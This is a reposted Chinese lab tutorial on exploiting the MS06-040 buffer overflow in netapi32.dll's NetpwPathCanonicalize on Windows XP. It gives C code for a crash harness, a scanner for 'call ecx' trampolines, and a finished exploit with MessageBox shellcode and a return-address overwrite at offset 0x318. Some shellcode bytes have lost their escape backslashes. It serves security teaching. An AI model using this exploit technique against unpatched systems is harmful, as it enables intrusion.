• MS06-040漏洞研究(中)【转载】


    课程简介

    经过上次的分析,我们已经知道了MS06-040漏洞的本质,那么这次我们就通过编程实现漏洞的利用。
    课程介绍
    • 实验环境:
    • 操作机: Windows XP
    • 实验工具:
    Tools
    Path
    IDA Pro
    C:ToolsIda61
    OllyICE
    C:ToolsOllyICE
    • 实验文件:
    • poc
    • pocframework
    • SearchCallECX
    • ShellCode
    • 函数NetpwPathCanonicalize()
    学习将ShellCode植入代码,实现漏洞的利用。
    实验步骤
    第一步 下载实验文件
    请访问http://tools.ichunqiu.com/f52d4353下载实验文件
    i提示
    • 在本次实验中,请注意实验工具、实验文件存放路径,不同的文件路径可能会出现不一样的实
    验结果。
    • 在实验环境中无法连接互联网,请使用您本地的网络环境。
    快速查找实验工具
    • 打开桌面 Everything 搜索工具,输入实验工具名称,右击选择“打开路径”,跳转实验工
    具所在位置。
    • 以查找BURP为例为大家演示。
    第二步 编写漏洞利用程序的框架
    这里我使用的是VC++6.0进行编写,需要将包含有漏洞的netapi32.dll文件与工程文件放置在同一个目录下。程序如下:
    #include <windows.h>
    typedef void (*MYPROC)(LPTSTR, ...);
     
    int main()
    {
    char Str[0x320];
    char lpWideCharStr[0x440];
    int arg_8 = 0x440;
    char Source[0x100];
    long arg_10 = 44;
     
    HINSTANCE LibHandle;
    MYPROC Func;
    char DllName[] = "./netapi32.dll";
     
    LibHandle = LoadLibrary(DllName);
    if( LibHandle == NULL)
    {
    MessageBox(0, "Can't Load DLL!", "Warning", 0);
    FreeLibrary(LibHandle);
    }
     
    Func = (MYPROC)GetProcAddress(LibHandle, "NetpwPathCanonicalize");
    if ( Func == NULL )
    {
    MessageBox(0, "Can't Load Function Address!", "Warning", 0);
    FreeLibrary(LibHandle);
    }
     
    memset(Str, 0, sizeof(Str));
    memset(Str, 'a', sizeof(Str)-2);
    memset(Source, 0, sizeof(Source));
    memset(Source, 'b', sizeof(Source)-2);
     
    (Func)(Str, lpWideCharStr, arg_8, Source, &arg_10, 0);
     
    FreeLibrary(LibHandle);
    return 0;
    }
    程序主要是通过LoadLibrary()函数获取当工程前目录中的netapi32.dll被加载后的基地址,再获取位于该DLL中的NetpwPathCanonicalize()函数的地址,并且利用memset()函数对包含有漏洞的函数的StrSource参数的内容进行填充,最后再对其进行调用。将程序编译执行,系统会提示出错:
    由错误代码可知,程序出现了缓冲区溢出的错误,返回地址被覆盖成了0x61616161,也就是四个“a”。
    第三步 动态调试漏洞
    我们使用OD载入上述程序,同时用IDA载入Netapi32.dll这个动态链接库。然后在OD中执行完LoadLibrary()这个函数:
    可见此时netapi32.dll已经成功加载,并且eax中保存的就是该动态链接库的加载地址。下面在IDA中找到函数NetpwPathCanonicalize()函数的地址:
    可见该函数的地址为0x7517F2E2,那么我们在OD中直接跳到这个位置,下断点并执行过来:
    结合上次的分析我们知道,出问题的函数是位于0x7517F856位置处的函数调用call sub_7517FC68
    那么接下来用OD进入这个CALL进行分析。首先看一下当前栈中的情况:
    由上图可知,返回地址为0x0012F670的位置,也是需要被“跳板”覆盖的位置。这里让程序执行完第一个字符串拷贝函数:
    可以看到,程序在位于0x0012F258位置处开始,一共拷贝了254也就是0xFE个字母“b”,这和我们编写的程序是一致的。然后程序会在这段字符串后面加上“”,接着来到了第二个字符串拷贝的位置:
    这里将长串字符“a”连接在了“”的后面,“a”的起始地址为0x0012F358,一共拷贝了798也就是0x31E个。这与我们所编写的程序是一致的。然后执行到返回的位置,由于返回地址是一个不可识别的空间,所以就会提示出错:
    此时可以发现,ecx中保存的正是缓冲区起始位置的地址,那么我们就可以利用这一特性,将ShellCode植入Source中,并将返回地址覆盖为call ecx,这样当程序返回的时候,就会直接来到0x0012F258的位置进行执行。
    第四步 获取CALL ECX地址
    我们还需要查找一下call ecx这条指令。它的OPCODEFFD1,我们直接在Netapi32.dll这个程序中进行查找,只需将我们之前讲过的用于查找call esp的程序稍作改动即可:
    #include <windows.h>
    #include <stdio.h>
    #include <stdlib.h>
    #define DLL_NAME "./netapi32.dll"
     
    int main()
    {
    BYTE *ptr;
    int position,address;
    HINSTANCE handle;
    BOOL done_flag = FALSE;
    handle = LoadLibrary(DLL_NAME);
    if(!handle)
    {
    printf("load dll error!");
    exit(0);
    }
    ptr = (BYTE*)handle;
     
    for(position = 0; !done_flag; position++)
    {
    try
    {
    if(ptr[position]==0xFF && ptr[position+1]==0xD1)
    {
    int address = (int)ptr + position;
    printf("OPCODE found at 0x%x ", address);
    }
    }
    catch(...)
    {
    int address = (int)ptr + position;
    printf("END OF 0x%x ", address);
    done_flag = true;
    }
    }
    getchar();
    return 0;
    }
    结果如下:
    依据上图,这里我选择的是第一个结果,也就是0x751852F9作为我们的ShellCode的跳板。需要说明的是,这里的返回地址为0x0012F670,缓冲区的开始位置是0x0012F258,它们之间的偏移为0x418,去掉参数Source以及“”所占据的0x100,得到0x418-0x100=0x318,也就是说,从Str字符串的偏移0x318位置开始,就是需要我们覆盖掉的返回地址的位置。
    第五步 完成漏洞利用程序
    于是可以将之前的框架程序修改为:
    #include <windows.h>
    typedef void (*MYPROC)(LPTSTR, ...);
     
    char ShellCode[] =
    "x33xDB" // xor ebx,ebx
    "xB7x06" // mov bh,6
    "x2BxE3" // sub esp,ebx
    "x33xDB" // xor ebx,ebx
    "x53" // push ebx
    "x68x69x6Ex67x20"
    "x68x57x61x72x6E" // push "Warning"
    "x8BxC4" // mov eax,esp
    "x53" // push ebx
    "x68x2Ex29x20x20"
    "x68x20x4Ax2Ex59"
    "x68x21x28x62x79"
    "x68x63x6Bx65x64"
    "x68x6Ex20x68x61"
    "x68x20x62x65x65"
    "x68x68x61x76x65"
    "x68x59x6Fx75x20" // push "You have been hacked!(by J.Y.)"
    "x8BxCC" // mov ecx,esp
    "x53" // push ebx
    "x50" // push eax
    "x51" // push ecx
    "x53" // push ebx
    "xB8xeax07xd5x77"
    "xFFxD0" // call MessageBox
    "x53"
    "xB8xFAxCAx81x7C"
    "xFFxD0" ; // call ExitProcess
     
    int main()
    {
    char Str[0x320];
    char lpWideCharStr[0x440];
    int arg_8 = 0x440;
    char Source[0x100];
    long arg_10 = 44;
     
    HINSTANCE LibHandle;
    MYPROC Func;
    char DllName[] = "./netapi32.dll";
     
    LoadLibrary("user32.dll");
     
    LibHandle = LoadLibrary(DllName);
    if( LibHandle == NULL)
    {
    MessageBox(0, "Can't Load DLL!", "Warning", 0);
    FreeLibrary(LibHandle);
    }
     
    Func = (MYPROC)GetProcAddress(LibHandle, "NetpwPathCanonicalize");
    if ( Func == NULL )
    {
    MessageBox(0, "Can't Load Function Address!", "Warning", 0);
    FreeLibrary(LibHandle);
    }
     
    memset(Str, 0, sizeof(Str));
    memset(Str, 'a', sizeof(Str)-2);
    memset(Source, 0, sizeof(Source));
    memset(Source, 'b', sizeof(Source)-2);
    memcpy(Source, ShellCode, sizeof(ShellCode));
     
    Str[0x318] = 0xF9;
    Str[0x319] = 0x52;
    Str[0x31A] = 0x18;
    Str[0x31B] = 0x75;
     
    (Func)(Str, lpWideCharStr, arg_8, Source, &arg_10, 0);
     
    FreeLibrary(LibHandle);
    return 0;
    }
    运行结果如下:
    可见我们已经成功地利用了这个漏洞。
    第六步 小结
    由此可见,对于系统级别的漏洞,及时更新补丁是非常重要的。而作为漏洞分析人员,也要具备恒心与毅力,不断地积累经验,勇于接受挑战,多多尝试,才能有所收获。
     
  • 相关阅读:
    十.总结drf视图
    一.9.多云管理同步服务器
    一.vue 初识
    一.8.django权限管理/drf权限管理
    一.7.服务器之分页和搜索应用
    一.6.序列化应用之服务器同步功能
    一.5.序列化应用之服务器制造厂与型号app功能
    【前端背景UI】鼠标磁性动态蜘蛛网背景源码
    【vue】导入式,使用vue与element UI, 单人开发项目,告别脚手架
    【python后台admin】所有属性显示设置
  • 原文地址:https://www.cnblogs.com/csnd/p/11440155.html
Copyright © 2020-2023  润新知